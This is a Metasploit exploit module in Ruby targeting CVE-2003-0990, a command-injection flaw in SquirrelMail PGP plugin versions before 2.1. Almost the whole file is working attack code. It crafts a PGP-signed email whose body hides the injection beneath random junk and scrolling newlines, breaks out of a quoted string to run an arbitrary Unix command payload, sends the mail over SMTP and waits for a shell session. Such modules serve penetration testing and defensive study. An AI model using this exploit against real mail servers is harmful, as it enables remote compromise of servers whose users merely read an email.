119 lines
3.6 KiB
Ruby
119 lines
3.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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#
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# This module sends email messages via smtp
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#
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include Msf::Exploit::Remote::SMTPDeliver
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)',
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'Description' => %q{
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This module exploits a command execution vulnerability in the
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PGP plugin of SquirrelMail. This flaw was found while quickly
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grepping the code after release of some information at
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http://www.wslabi.com/. Later, iDefense published an advisory ....
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Reading an email in SquirrelMail with the PGP plugin activated
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is enough to compromise the underlying server.
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Only "cmd/unix/generic" payloads were tested.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Nicob <nicob[at]nicob.net>' ],
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'References' =>
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[
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['CVE', '2003-0990'],
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['OSVDB', '3178'],
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['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
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['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
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['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
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],
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'Stance' => Msf::Exploit::Stance::Passive,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => '',
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python bash telnet',
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}
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},
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'Targets' =>
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[
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[ 'SquirrelMail PGP plugin < 2.1', {} ],
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],
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'DisclosureDate' => 'Jul 9 2007',
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'DefaultTarget' => 0))
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end
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def mime_defaults()
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self.header.set("MIME-Version", "1.0")
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self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
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self.header.set("Subject", '') # placeholder
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self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
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self.header.set("Message-ID",
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"<"+
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Rex::Text.rand_text_alphanumeric(rand(20)+40)+
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"@"+
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Rex::Text.rand_text_alpha(rand(20)+3)+
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">"
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)
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self.header.set("From", '') # placeholder
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self.header.set("To", '') # placeholder
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end
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def exploit
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body =
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# Display some junk
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rand_text_alphanumeric(rand(128)+16) + "\n" +
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rand_text_alphanumeric(rand(128)+16) + "\n" +
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rand_text_alphanumeric(rand(128)+16) + "\n" +
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rand_text_alphanumeric(rand(128)+16) + "\n" +
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rand_text_alphanumeric(rand(128)+16) + "\n" +
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rand_text_alphanumeric(rand(128)+16) + "\n" +
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# Scroll down
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"\n" * (rand(100)+35) +
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# Escape filter and insert payload
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"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"
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sig =
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"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
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rand_text_alphanumeric(rand(20)+54) + "\n" +
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rand_text_alphanumeric(rand(20)+34) + "\n" +
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"-----END PGP SIGNATURE-----\n"
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msg = Rex::MIME::Message.new
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msg.extend(MessageExtend)
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msg.mime_defaults
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msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
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msg.to = datastore['MAILTO']
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msg.from = datastore['MAILFROM']
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msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
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msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")
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send_message(msg.to_s)
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print_status("Waiting for a payload session (backgrounding)...")
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end
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end
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